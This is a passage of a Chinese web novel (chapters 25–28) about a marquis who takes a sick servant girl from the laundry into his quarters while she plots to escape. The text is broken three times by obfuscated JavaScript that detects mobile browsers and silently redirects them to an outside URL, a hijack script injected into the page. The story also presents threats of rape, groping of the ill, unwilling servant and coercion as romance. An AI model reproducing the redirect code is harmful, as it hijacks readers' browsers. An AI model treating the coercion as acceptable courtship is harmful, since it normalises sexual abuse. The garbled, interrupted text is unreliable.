吓得青枝身体发颤回答:“柳姑姑派奴婢传话,说宁泠发了高热,眼下怕是不行了。” 说完话,她就赶紧溜了。 林韦德的眉头皱得更厉害了,快步走向争晖院。 他放轻脚步走至书房时,裴铉才下了早朝,坐在椅子上伏笔写着东西。 知道林韦德进来,他没有抬起头。 “侯爷,浣衣局人传话说,宁姑娘发了高热,若是持续下去人怕是不行了。”林韦德一五一十地如实禀报。 裴铉怔了怔抬起头,室内的气氛安静了下来。 “去外面找个大夫。”裴铉面色冷淡,“想办法将人弄醒,问问她还愿意滚回争晖院不?她愿意诚心认错,我便饶了她这次。” 以往她何曾吃过这种苦,如今也该知道留在他身边,锦衣玉食,人上人的日子是旁人求而不得的。 林韦德点点头。 侯爷对宁泠总是心软,要想将人弄醒,各种办法有得是,偏偏着急去找个大夫。 以对犯人用刑昏过去的人数不胜数,冬日一盆冷水泼下去,立刻就醒了。 可比大夫和吃药有用的多。 林韦德命手脚麻利的小厮去外面请了大夫,他带着人马不停蹄地去了浣衣局。 一敲门,里面的人立马就开了门,瞧着像是恭候多时。 柳姑姑腆着笑:“林大人来了,这是?” 跟在身后的大夫背着药箱,穿着明显不是府里的人。 “是外面请的大夫。”林韦德往门内瞥了一眼,“宁姑娘,人呢?” 柳姑姑顿时胆战心惊,生怕自己管事的位置被撸下去。 “宁姑娘发了高热,按照府里的规矩要单独隔开,大人请跟奴婢来。”柳姑姑向前带路。 林韦德跟着抬脚进入浣衣局,上次他只在外面驻留了片刻功夫。 今日进来才发现与外面如此不同,里面的湿气很重。 满院子哗啦哗啦流着水,外面的日光几乎照不进来,里面是乌泱泱的一片。 许多人身着灰色的旧袄子坐在小凳子上,努力洗着手上的衣服。 她们的手被冻得通红,身边还围绕着几桶旧衣服。 柳姑姑带着林韦德几人穿过院子,来到后院的杂物间。 她有些心虚,其实她没想到林韦德真会来,还带了大夫过来。 她以为林韦德那么多天不闻不管,就是不会再插手此事了。 最后她派青枝去通知,也只是为了有备无患。 柳姑姑推开门,屋内的灰尘被扬起。 林韦德的面色沉了下去,一双凶人的眼眸紧紧盯着柳姑姑。 柳姑姑赶紧解释:“浣衣局里的好地方少得可怜,空屋就只一间,这也是没有办法的事情。” 林韦德没有功夫在这听她絮絮叨叨,带着大夫快速进去了。 大夫是个已经上了年纪,胡须花白的人,对于这些小女娃之间的男女大防不太在乎。 林韦德只瞟了一眼,见宁泠满脸通红,头发随意地搭着脸周。 他就不敢再继续乱看,背过身来让大夫看病。 大夫先是把脉,接着摸摸额头,又捏开宁泠的嘴看了看舌头。 “姑娘是寒气入体,引发的高热。”大夫看完后回答,“加上她体虚,又耽搁些时日才会如此严重,先将高热退了才行。” 大夫打算写下药方,他左右环视房间一圈,都没看见合适的地方。 林韦德不悦地剜了柳姑姑一眼。 柳姑姑将人带到干净整洁的地方,大夫写完方子,叮嘱了注意事项后就离开了。 林韦德将药方递给小厮:“去抓药熬药,要快!” 说完后,他的视线又落在柳姑姑身上。 吓得柳姑姑浑身一颤,心里直喊冤,凭良心说,她真没有虐待为难宁泠,要为了这事怪罪她,真是天大的冤枉。 “不如将宁姑娘移到老奴的房屋。”柳姑姑说道。 这浣衣局最好的地方也只有她居住的地方了。 林韦德沉思了片刻,摇摇头:“暂时不要移动,你派几个小丫头好生伺候,她若是醒了立马通知我。” 柳姑姑连连点头,心里震惊,真没想到宁泠在林韦德这里如此受重视。 大概到了快午饭时辰,宁泠终于醒了。 她头还是晕得厉害,身上无力,但没有之前那么难受了。 旁边等着的青枝见她醒了,连喊道:“快去通知林大人和柳姑姑。” 旁边的小丫鬟得了话赶紧一路小跑。 宁泠脑袋还有点迷惑,她知道自己感染了风寒。 估计半夜发了高热,接着被移到了杂物间。 刚进府邸时,教导她们的姑姑就说过,发高热的人都会被单独隔离。 可是现在的林大人是怎么回事? 她想开口询问一下,一张嘴嗓子就干疼得厉害。 青枝见状,忙将准备好的温水递上。 宁泠狐疑地看了青枝一眼,还是接过来小口小口地喝着。 她喝完一杯水,嗓子终于没有之前那么难受了。 就听见外面的敲门声,“宁姑娘,是我。” 是林韦德的声音,青枝拿起旁边厚实的衣服帮着宁泠穿好,接着就去开门。 宁泠看着青枝这一套行云流水的动作,越发不解了。 青枝开了门后没再回来,屋内只有林韦德和宁泠两人。 “侯爷听说你病了,专程请的大夫。”林韦德努力将裴铉不入耳的话修饰下,“说你若愿意回争晖院,以往的就既往不咎了。” 虽然侯爷没有明说,但是林韦德认为大概就是这么个意思。 宁泠听了后低下头思考,说心里不动摇是假的。 在浣衣局天天辛苦劳作,还不能吃得饱穿得暖。 只要回了争晖院,这些问题全部就迎刃而解了。 可是真的只是回去这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14938560|159066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么简单吗? 宁泠抬起眼眸,打量着林韦德的神色,倏地笑了:“侯爷的原话不是这样吧?” 她还是有几分清清裴铉的脾性,他那里是肯低头的人。 以后回去了少不得讥讽嘲笑她,更免不了日日讨他欢心。 林韦德面色稍变:“无论如何,争晖院都比浣衣局好得多。” 宁泠的身子依旧虚弱,她靠在背后的软枕:“谢谢林大人的好意,只是更我愿意在浣衣局辛苦劳作换取吃食。” 也不愿意在争晖院以色侍人,依靠美色和身体去换取富裕生活。 后面的半句话她没说,但她猜测林韦德应该能懂。 林韦德见她心意已决,抬眼看了下她倔强的眼眸,只能无奈地离开。 等他走后,宁泠躺回被窝,将被子拉在头上。 她知道自己犯糊涂了,可是她咽不下那口气,明明错的不是自己,凭什么她要去服软低头。 哪怕现在死了,那也是清清白白。 若她真回了争晖院,成了裴铉的通房,以后她那里还有颜面下去见爹娘。 那有颜面告诉他们,自己贪生怕死,贪图荣华富贵,卖身求荣。 想着想着,思念亲人加上身体不适,宁泠的眼泪像断了线的珠子,一颗一颗不停地向下掉,不知不觉又睡着了。 林韦德前去复命时,心里低叹一声。 但还是咬着牙道:“宁姑娘说,她不愿意。” 他没想到宁泠会这么犟,但看见她不肯低头退一步时,他心里是有敬佩的。 不是每个人都可以不畏强权,坚持内心。 “呵。”上方只传来一道冷笑,裴铉伫立在窗前,修长的逗弄着一盆海棠花的花瓣,“她的骨头比监狱里的犯人还硬呐。” 林韦德察觉到他的心情不好,不敢接着说话。 “没事。”裴铉的手稍稍用力扯下花瓣丢在地上,“那是因为吃得苦还太少。” 浣衣局内,因着之前林韦德命令,柳姑姑还是派人伺候着宁泠。 中午林韦德走后,柳姑姑又命人喂她喝了药。 本以为她上午退了烧就没事了,可万万没想到才下午,就又开始发热,而且比上午更烫手。 柳姑姑马上派人又去通知林韦德。 林韦德接了消息,心里十分为难,不知是否该继续去请示。 上午明显侯爷是动气了,可是眼下这情况不说怎么行。 他想了想,还是决定如实禀报,他大不了就是挨骂受气罢了。 “侯爷,又来消息了。”林韦德转达,“下午又发了高热,说是比上午更来势汹汹。” “庸医。”裴铉骂道。 林韦德知道侯爷嫌弃他请的大夫医术不佳,但外面的大夫大多都医术普通。但凡有医术好的大夫那个不是被养在深门大户内,或是被召入皇宫。 “去拿我的对牌,去皇宫里请太医过来。”裴铉果断命令道。 林韦德难以置信地抬起头,宁泠不是死都不肯回来吗?侯爷又何苦如此费劲心思。 “蠢货。”裴铉脸上浮现笑意,“我是她的主子,凭什么她说不回来就不回来?” 她想以死明志,他偏要阻挠。 她想继续待在浣衣局,他偏要将她绑回争晖院。 她要为了别人守身如玉,那他偏要强占了她的身子。 26. 第 26 章 他裴铉什么时候是个舍己为人,成全他人的好人了? 思及此,裴铉的嘴角越发上扬。 一扫多日的阴霾,裴铉脸上挂着如浴春风的笑容 他径直朝着浣衣局的方向去了。 柳姑姑知道自己做的不令林韦德满意,这次特意站在浣衣局外等待。 远远看着有人来,瞧着却不像是林韦德的身形。 林韦德身形高大魁梧,身上的肌肉迸发。 来人虽然身量极高,却身形修长,远远看着背脊挺直,带着矜贵气质。 待到人走近了,她一瞧声线颤抖:“侯爷,您怎么来这了?” 裴铉眉头半挑:“咦,侯府那儿是本候去不得的?” 柳姑姑吓得跪地求饶:“老奴失言,请侯爷恕罪。” “宁泠在那?”裴铉懒得和她多费口舌,“带路。” 柳姑姑颤颤巍巍地爬了起来,心里越发震惊。 她本就奇怪,林韦德敢为了一个小小的奴婢,私自将府外的大夫带进来,不怕侯爷责罚吗? 她压根就没想到,原来林韦德是受侯爷命令行事。 乌糟糟的院子,众人之前看见林韦德虽有惊讶,可她们一直无命不得出入浣衣局,也不太清楚林韦德是谁? 可是裴铉,她们都是认识的。 罪奴进府邸第一天,管教她们的姑姑就教他们认了画像,免得连自己主子是谁都不知道。 众人的面色震惊,不敢抬头直视,个个低头视线跟随他的脚步。 裴铉的好心情从进了浣衣局后,慢慢地收了起来。 浓重的湿气,不见天日的日子。 接着柳姑姑小心翼翼地打开那间杂物间,幸好之前林韦德来过后,她就命人收拾整理了。 裴铉显然不太满意。 青枝看见来人顿时傻眼,傻愣愣地站在原地,连行礼都忘了。 “还不滚出去。”裴铉毫不客气命令道。 众人赶紧离开房间,轻手轻脚地关上门。 他走近床榻处,以往争强好胜的人此刻静悄悄地躺着,没有一丝响动。 裴铉走至塌边,瞧着宁泠面色通红,圆圆的眼眸紧闭。 一排浓密的睫毛一动不动,娇俏的鼻子,殷红诱人的嘴唇。 灶房被整治一番后,饭食本应变好才对,现在瘦骨嶙嶙,一阵风都能吹跑。 宁泠光洁的额头布满了细密的汗珠,嘴里似乎不太舒服地嘤咛着。 裴铉伸出手探了探她的额头,滚热烫手。 她的汗顺流到下方的衣领处,隐隐约约的水珠很是勾人。 他沿着她的下巴往下,摸到了那滑腻的脖颈。 本就发了高热,身上衣裳也被浸湿,岂不是更不利于养病。 裴铉一双锐利的眼眸扫视一圈周围,又瞧瞧安静沉睡的人儿。 他抬手解开身前的斗篷系绳,黑色织纹镶嵌金边的斗篷甚是厚实保暖。 裴铉掀开被子,露出她穿着里衣弱小蜷缩的身躯。 他一把将斗篷披在她身上,接着一卷将整个人横抱在怀里。 宁泠先是睡得很沉,厚礼迷迷糊糊感觉到有人进来了。 但身子甚是疲惫,连眼皮都抬不起。 身体忽然的腾空感,吓得她猛地一下睁开眼眸。 对上了裴铉那张无可挑剔的俊脸。 他很是满意地点头,语气带笑:“竟然还醒了,看来还有得救。” 宁泠在他怀里拼命挣扎:“你在做什么?放我下来。” 裴铉故意将她抛在上空颠了颠,吓唬她:“马上要摔下来咯。” 以前身体健康的宁泠面对裴铉就没有半分反抗之意,更别提如今。 本就头昏不适的宁泠,被他几番捉弄后,身体的不适加重,声音都有气无力:“侯爷若是想戏弄消遣人,能否去找别人?” 裴铉闻言不悦,低头看向她,一张小小可怜的脸蛋,更加惨白,尤其眼眶红肿,瞧着像是哭了。 “好了,好了,不逗你了。” 啧,真是娇气。 宁泠见他抱着自己离开杂物间,惊呼:“侯爷要带奴婢去哪?” 又顿了顿继续:“眼下奴婢发了高热怕传染了侯爷,还请侯爷保重健康,速速离去。” “又开始糊弄我了?”裴铉似笑非笑地睨了一眼宁泠,“心里又开始偷摸摸盘算着怎么躲我了。” 宁泠闭口不敢继续说话。 裴铉单手环住宁泠的细腰,另一只手捏了捏她消瘦的脸颊:“既然知道病了,就随我回争晖院好好养病。” 这丫头年纪小,性子犟。 他何可与她逞一时口快,冷眼瞧她将自个折腾得人不人鬼不鬼的,害得他也日日心里不痛快。 他裴铉何曾受过这种窝囊气,天天憋在心头。 既然心里记挂,那必定要弄到手。 至于什么清白失贞,他裴铉何时是那般畏畏缩缩,只想着过去的人? 难道他还比不过那区区孟氏?只要人弄到了眼皮子地下,有得是时间和手段让她彻底忘记他。 宁泠一听他意已决,知道她如何再费口舌也是无用的了。 随着他抱动走路的晃动,她头晕得更加厉害。 裴铉见她紧蹙眉头,面色惨白,用宽大的手掌轻轻按在她后脑勺处,让她脸颊靠在他胸膛处。 “眯一会。”裴铉放轻走路时的动作,“一会就到了争晖院了。” 裴铉从杂物间抱着人出来,经过浣衣局院子时,众人都不可思议地睁开双眼。 感受到外界的注视,宁泠缩瑟在他怀里。 将自己脸蛋全部遮住,不肯透露半分。 “想被剜眼了?”裴铉嘴角上扬,扫视众人,“派个人去门口守着林韦德,让太医到了去争晖院。” 吓得众人赶紧低头,柳姑姑听了后半句忙派人小跑过去,等出了浣衣局。 他嗓音带着悦耳的笑意哄道:“出来吧,放心这儿没人了。” 还真像只小乌龟,平时对他张牙舞爪,现在却只知道缩在壳里,尤其躲在自己怀里还有点可爱。 宁泠现在头晕心里又着急,或许是因为生病情绪敏感。 她控制不住眼泪,像上午一样哗啦啦地流着。 带着炙热的湿意很快浸湿了裴铉的胸膛。 “委屈了?”裴铉打趣道,“不是自己置气要去浣衣局吗?” 宁泠不想理他这个烦人精,明明是他污蔑在先,如今错处倒成了自己,强词夺理。 怀里的泪水流个不停,滚烫的热意在冬季快速散开,只剩下刺骨的冷意附着在他胸膛上。 裴铉心里平白无故生出几分恼意。 宁泠似要将心里的委屈都通通哭个痛快,才肯善罢甘休。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14946500|159066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 裴铉知她生病了,以前他听说人生病了会变得娇气,他还不以为然,如今深以为然。 “别哭了。”裴铉放缓语气,“马上太医到了,喝一碗药睡了就好。” 偏偏怀里的人没有一点回应,只有泉水似源源不断的泪水。 第一次他抱着她也是去争晖院,那时候他心急,却是心猿意马。 奇怪的是现在半分那点心思都没了,只想着赶快回去。 幸好裴铉即使怀里抱着人,也没影响走路的速度。 回了争晖院,紫叶瞧见人后,虽是眼眸震惊,但还是有条不絮地安排好一切。 接着她就带着人退出了内室,只余下他们两人。 裴铉动作轻柔地将人放在床榻上,见她将脑袋捂在斗篷下。 他抓住斗篷一角要掀开,里面的人使劲抓着不放。 “哭了那么久,还不闷?”裴铉控制着力道去揭斗篷怕伤了她。 宁泠身体虚弱,路上又哭了许久,感觉疲惫得很。 几息时间就被裴铉掀开了斗篷,她讲手掌摊开遮挡在眼睛上,不肯见他。 裴铉现在才有功夫好好看那双手,以前她的手白皙细嫩,手指修长纤细,现在上面有了不少粗茧,密密麻麻的小伤口遍布在手上,一双手红肿得厉害。 他伸手握住那只手,她身上发着高热,刚才抱着她像抱着小炭炉,这双手却是冰冰凉凉。 裴铉的心像是倏地被蜜蜂蛰了一下。 他用脸盆拿出温热的手帕,坐在她身边。 给她擦拭着脸上的肌肤:“哭了这么久,脸上黏黏糊糊不擦擦?” 宁泠是心动的,但不想他看见这番模样,他那张喝了毒药的恶嘴定要嘲讽她。 见她固执地不肯听话,裴铉也不恼。 “你的力气能敌过我?”他慢条斯理地继续擦着脸。 宁泠丧气了,放下手露出一双红肿似水蜜桃的眼睛。 眼眶眼眸都红的厉害,瞧着可怜极了。 眼尾那抹嫣红,却凭添几分妩媚。 “你欺负人!”宁泠心里不服气,恶狠狠瞪了他一眼。 美人风情一嗔,裴铉心痒痒了。 “当初执意要去的是你。”裴铉的指腹游走在她柔软的脸蛋上,“后面赌气不肯回的也是你,现在我不还是来接你了。” 裴铉泛情的桃花眼收敛锋芒后,带着蛊惑人心的魅力。 “以后你就在这儿安心住下。” 宁泠心里最担心的事情还是发生了,她语气坚决:“之前是你不相信我,我不可能再继续待在这。” “究竟是单纯因为这件事。”裴铉稍稍停顿,又意有所指“还是你趁机找借口堵我,你应该心知肚明。” “说来说去,花瓶一事还是我的错。”宁泠没有想到原来之前自己的心思早就被裴铉猜透,打算胡搅蛮缠耗尽他的耐心。 倏地,宁泠沉思时额头上落下冰凉温柔的吻。 裴铉附在她耳畔:“是我的错,宁泠想怎么罚我呢?” 他口吻着带着不正经和挑逗,轻而易举地认了错。 屋外的林韦德带着太医候在外面,总觉得现在这个时机不太合适进入。 宁泠心里只有一个念头,逃! 他姿态强硬地带她回了争晖院,与她言谈间亲密无间,又肯低头哄她,早已将她视为囊中之物了。 27. 第 27 章 宁泠急得直咳嗽,裴铉轻抚着她的背。 林韦德在门外大声喊道:“侯爷,太医已经到了。” “那就滚进来。”裴铉语气不善,林韦德何时变得如此磨磨唧唧。 太医的年纪大约在中年,长得还算端正,面色严肃。 宁泠自觉地伸出手腕等待把脉,裴铉的视线在她和太医之间来回扫视。 又幽幽地盯着宁泠皓白纤细的手腕,接着裴铉扯过一方干净的手帕搭在她的手腕处。 “请吧。”裴铉对着太医轻抬下巴示意。 太医未觉有何不妥,宫里的贵人牵线问诊也是常事。 宁泠对着那方手帕皱眉,心里很是不喜。 太医把脉后很快写下方子,这病乃是常见风寒,刚才已经吃过一副,大为缓解。 他对着裴铉一副欲言又止的模样。 裴铉:“太医有话不妨直说。” 他最不喜这副遮遮掩掩的模样,还不如干脆深埋心里。 “姑娘的高热并不严重,虽然可能会反复,但只要准时服药即可退去。”太医迟疑道,“只是她身体寒气过重,恐以后子嗣有碍。” 他瞧着侯爷对这姑娘很是喜爱,不让也不可能急匆匆地从宫里请人来问诊。 可眼下这姑娘一瞧便知不是锦衣玉食,金尊玉贵养着的人。 他怕说话犯了侯爷忌讳,又唯恐落下一个医术不佳的骂名。 “好好调理,可否无碍?”裴铉的视线落在宁泠的脸,消瘦惨白。 太医点点头:“只要用心调理上几个月,应该无碍。” 裴铉轻笑:“有劳了。” 林韦德适时地递上厚礼,领着太医退了下去。 宁泠听见刚才太医的话,心里并无任何感触。 若是万不得已成了通房,一辈子无法生育倒成了一件好事。 “宁泠,在想如何惩罚我吗?”裴铉宽大有力地手掌笼罩在她头顶。 宁泠虚弱地笑笑:“侯爷说笑了,小小奴婢那里有这能耐。” 裴铉蹲下身子,视线与她持平:“这次是我不对,宁泠心里有气也是应该的,往后我会好好补偿你的。” 宁泠浓密如蝶翼的睫毛颤颤巍巍:“那侯爷能不让我做通房吗?我不想为奴为妾。” 裴铉刚才温柔的笑容倏地淡了下来,眸子阴沉得很。 “你还想回浣衣局?”他嗓音带着威胁。 宁泠没有犹豫地点点头。 裴铉的手掐着她的下巴:“都这样了还想回去?不怕死在哪?就这么厌恶我?” 他每说出一个问句,气氛就越发压抑窒息。 宁泠神情倔强,眼眸坚定:“我不怕。” 裴铉冷漠无情,阴晴不定,以捉弄他人为乐,更是是非不分,难道不该厌恶他? 宁泠以为她的回答会再一次惹怒他。 却听见一道好听的轻笑,很轻柔。 她诧异地看向他,注视着他英俊带笑的面容。 “你再厌恶我,又能怎样?”裴铉拉近与她的距离,两人几乎面碰面,“还不是只能任我处置,哪怕我现在强占了你,你又能怎样?” 他掐着她尖尖下巴的手松开,手顺着纤细的脖颈一路向下,摸到她凹凸精致的锁骨。 他很是新奇地一遍遍摩挲它的形状:“说不定你越是挣扎哭泣,越能激发我的兴趣呢。” 宁泠被他这番无耻言论气到浑身发抖,咳嗽连连:“你卑鄙、无耻、下流!” 裴铉一点都不动怒,甚至一脸享受,还赞同地频频点头。 “你说得不错,我记下了。”他的笑容更加灿烂,“以后我会全部做到的,尤其是下流。” 他说到最后两个字的手,手顺势而下,宽大的手掌盈盈一握,宁泠浑身僵硬,连呼吸都忘记了。 “果然还是太瘦了些。”裴铉的神情似有些不满足。 宁泠又气又羞,咳嗽地声音响起:“你、你手拿出来!” 裴铉闻言先是松手,宁泠刚舒一口气,接着他又五指并拢,甚至还坏心思地用手指在尖上画着圈。 宁泠气地满脸通红,眼里蓄满亮晶晶的泪珠,一双眼眸看起来美极了,很是灵气。 “喏,看见没?”裴铉坏笑,“这才是下流。” 宁泠的咳嗽声止不下来,身子虚弱地问下滑。 裴铉立刻抽手扶住她,一边给她抚摸后背止咳,一边给她盖好被子。 他再是畜生,也不会在她生病时碰她。 现在都这副要死不活的虚弱样,来真的估计小命不保。 不过吓唬吓唬她,免得那张看起来可口的小嘴,总是出口伤人。 外面紫叶敲门提醒:“侯爷,药好了。” “进。” 紫叶端着药靠近床榻,弯腰舀起药汤打算喂宁泠。 宁泠皱着眉头尝了一口,眉皱着更离开,一张小脸可爱地囧在一起。 裴铉又得了乐子,接过药碗:“你退下。” 紫叶依言照做,没想到侯爷对宁泠如此上心。 宁泠一下子看穿他的阴谋诡计:“我自己喝。” 她急切地伸手想要夺过药碗,生怕像之前被迫吃青梅。 裴铉身手敏捷地躲过,接着不紧不慢地舀起一勺药汤:“乖,快趁热喝了。” “一勺一勺冷得快。”宁泠拒绝,“不如给我一饮而尽。” “既然刚才说我卑鄙无耻,那怎能让你事事如意?”裴铉将药汤递至她嘴边。 明明是温柔体贴的举动,偏偏却有一副她不喝,就压着她灌进去的压迫。 宁泠没有办法,她在裴铉这里从来没有反抗的能力。 他一勺一勺地喂着,她一口一口地喝着。 宁泠觉得越喝越苦,心里越想越难受,一滴眼泪从眼眶里决堤而出。 小小的水花声响起,眼泪滴落在哪一勺黝黑发苦的药汤里。 “怎么喝个药还哭了。”裴铉放下药汤,拂去她的眼泪。 越来越多的眼泪留下,宁泠嗓子沙哑控诉:“你只会欺负我。” 裴铉竟忽然感到一点良心不安的愧疚,退一步道:“不喂你了,自己喝行了吧。” 宁泠不搭理他,室内只有低低的哭泣声。 裴铉有些心烦气躁:“那你说,怎样才行?” “我想消了奴籍。”宁泠小心翼翼地看他一眼,又低头,“你既铁了心让我做你的通房,那可以给我一个清白身吗?” 裴铉挑眉,没想到她忽然回说到这。 “为奴为妾,我以后怎么见我爹娘。”宁泠伸手牵住他一根手指,轻轻摇晃,“消了奴籍,以后我不是奴婢了,你就不能再罚我去浣衣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14951674|159066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 局了。” 裴铉眯眼,难得见她有低头做小的一天。 嘴里慢悠悠道:“我何时真罚你浣衣局了,是你置气执意去的。” 当初她去浣衣局那阵势,真是八头牛都拉不回来的模样,枉费当天他回来还等了她许久。 宁泠委屈地哭诉道:“刚才你还愿意认错受罚,现在又变了,果然是哄我戏弄我。” 她情绪激动地说着,眼泪掉落着越多,一颗颗砸在裴铉手上。 “我知自己身份卑贱,以后你还会有不少新人。”宁泠哭得梨花带雨,“给我个清白之身,我以后也不怕人嘲笑了。” 裴铉狐疑地注视着宁泠,先前还是宁死不从的模样,现在怎么死心塌地,还担心以后失宠嘲笑了? “又打什么坏主意?”他轻轻敲了下她脑袋。 “我不愿做你通房,你偏要霸王硬上弓。”宁泠面露气愤,“我如今只能愿意了,你又开始犯疑心病了,怎样侯爷都不满意,都要对我鸡蛋里挑骨头。” 裴铉被她逗笑了:“我就问了你一句,你倒是有一筐子话对付我。” “既然侯爷不肯放我走,能否承诺我以后好生对我,哪怕以后正室进门,也能有我安身立命之处?”宁泠眼含期待。 见她终于肯松了口,裴铉将她揽入怀中:“只要你从此一心一意待我,必不让旁人欺负了你。” “那侯爷能否让我亲自去消奴籍了?”宁泠补充,“我还想着去挑选些新衣裳,届时穿给你看,再挑选一壶好酒。” 宁泠不好意思地低头,声如蚊呐:“这样也算是洞房花烛了。” 裴铉懂了她意思,无非想着好生置办一番,不是潦草过去。 “你身子虚弱,需要静养,不如还是要林韦德去消奴籍?”裴铉面露沉思,“况且侯府的绣娘比外好得多,何苦在外费力?” “这也不行,那也不行,反正只能一切侯爷说了算。”宁泠赌气地侧开脸,不肯再说话。 裴铉有些不喜,她得寸进尺。 安静没多久的内室,又开始响起抽噎的哭泣声。 压抑的哭泣声,时不时伴随着咳嗽声。 一副伤心欲绝的模样,衬得裴铉好似绝情之人。 “你是不是怕给我花银子?”那边轻飘飘来了一句。 裴铉瞳孔倏地放大:“你什么意思?” “就是怕我出门逛街买衣裳买酒,用了你的家产。”宁泠一副越分析越有道理的模样,"原来,你只想把银子留给以后妻子花,所以才不肯让我出门的。" 裴铉被她胡说八道的话,气得太阳穴的青筋都突突跳。 “你是不是觉得我无理取闹、胡搅蛮缠?”宁泠委屈地哭着,一字一句都带着哭腔。 “我答应你去。”裴铉无奈地揉了揉太阳穴。 再不答应她,估计又想出什么法来。 “想去可以,先乖乖养好身体。”裴铉看了看她满脸的泪水,拿起帕子擦拭,“否则一切免谈。” 宁泠眼泪顿时收住,喜笑颜开:“侯爷,你派林韦德跟着我吧,我一个人不敢出去,旁人我不熟悉。” 裴铉心里的一点疑心被打消,既然肯主动要求人跟随,估计也掀不起什么大浪。 “好,你先安心养病。” 宁泠点点头,她自然是要养好身子,不然怎么逃跑? 28. 第 28 章 宁泠见目的达成,也懒得与他多费口舌。 端起药碗一饮而尽,接着就神色恹恹,昏昏欲睡的模样。 裴铉为她撤下靠枕,见她小脸恬静地睡着了。 他用手腹点了点她娇俏的鼻尖,如今这般,似乎也不错。 三日后裴铉早朝后,本打算打道回府,看看养着的小哭包身体恢复没。 一位拿着拂尘的太监拦路:“侯爷,皇上有请。” 裴铉并不意外,甚至还有些赞叹这位新皇的耐心。 他原以为请了太医一两日内,皇上就会召见他。 没想到竟能按捺到如今。 金碧辉煌、雕龙画柱的宫殿内,坐着一位年纪稍小,稚气未脱的帝王。 听见通报后他对着裴铉笑笑:“堂兄来了。” 裴铉并不以兄长宗亲论,而是安分守己地先行礼。 “不知皇上召微臣前来,所为何事?”裴铉笑着问道。 “堂兄总是这般客气。”新帝无奈笑笑,“只是近日听说堂兄火急火燎从宫里请了太医,还是给一位小娘子诊病,咱们两兄弟闲聊几句罢了。” “只是我府上的一位通房罢了。”裴铉直接点名宁泠身份,“没想到此事惊动了您。” “堂兄年纪也不小,怎还不娶妻生子?”新帝顺着话题向下聊。 “臣洒脱随性惯了,那过得了受人约束,天天着家的日子。”裴铉一脸感叹。 他心里却冷笑,要是他真娶了朝中那位重臣之女,恐怕这位夜不能寐了。 “有时朕也羡慕堂兄,自由自在。”新帝面色为难,“唉,要是谁都能像堂兄一般,不结党营私就好了。” 裴铉听出他的言外之意:“皇上,可是有什么烦心事,微臣愿效犬马之劳。” 新皇面露欣喜:“自朕登基以来,国库空虚,朕日夜为此烦恼。” “国库空虚,的确是急需解决之事。”裴铉十分认同,“待微臣回去想想有什么好法子,再上奏折。” 裴铉心里暗骂新皇虚伪,有什么来银子最快的事情呢? 那自然是抄家,顺势铲除异己,银子不就像那水流滔滔不绝了。 要说朝野上下,门阀势力众多,幕僚数不胜数之人,忠国公是当之无愧第一人。 忠国公几代传承,家财万贯。 而且新皇尚且年幼,膝下无子。 忠国公可是虎视眈眈,新皇式微,每每见了他都低一头。 他还想到新皇有如此魄力,敢拿忠国公开刀。 两人秘密商谈许久,直到宫门将要关闭,裴铉才离宫归家。 裴铉回到争晖院后,径直去了偏房。 之前他命人将偏房干扫干净,让宁泠住了进去。 偏房向来都是通房居住的地方,离主子的主卧不过几步之遥。 他进门时,宁泠才沐浴洗发完,拿着干帕子绞着头发。 几日精心调理,她气色好了不少,只是身体还羸弱得很。 此刻她乖乖跪坐在绯色软塌上,侧着身子拢着头发。 因她体寒怕冷,室内的几处角落里已经烧着上好的银丝碳。 暖意遍布室内,她穿着单薄,一件藕粉色的衣裳随意系着,几缕湿漉漉的头发缠在白皙纤细的脖颈上。 裴铉眸色发暗,喉结滚动。 他静静伫立在门旁,忽然回想起那日她沐浴被他撞见的场景。 冰肌玉骨,水上芙蓉。 又倏地想起几日前手掌处包裹着的温热,他一手便可全部握住。 他的视线愈发凝实,宁泠感觉如芒在背。 回头一瞥见他脸上欲望纵生,她吓了一跳,期期艾艾:“侯、侯爷。” 裴铉散漫一笑,朝着她走来。 宁泠赶紧低头整理衣裳,神情局促不安。 走得近了,裴铉的视线更加危险。 离得近了,才发现发梢处滴落的水珠都落在衣裳上,藕粉浅色的布料被浸湿。 似有似无的朦胧感遮挡了布料。 裴铉的手捻着布料,有些手痒想痛痛快快地撕开,满足私欲。 他瞥了眼她的脸色,灵动的脸上布满粉霞。 他的手绕到她的后颈处,摩挲着那块嫩肉。 “侯爷,你答应了我消了奴籍后,才会......”宁泠手指不安地搅动着衣角,说话的声音越来越小。 “才会什么?”裴铉笑着追问,“你不说,我怎么知道?” 明明他是笑着,可给宁泠的压迫感越来越重,她呼吸都急促起来,感觉自己后脖被他磨得发疼。 “今日先成了,明日去补,又有什么区别?”裴铉眼眸晦暗不明,嗓音带笑地哄骗她。 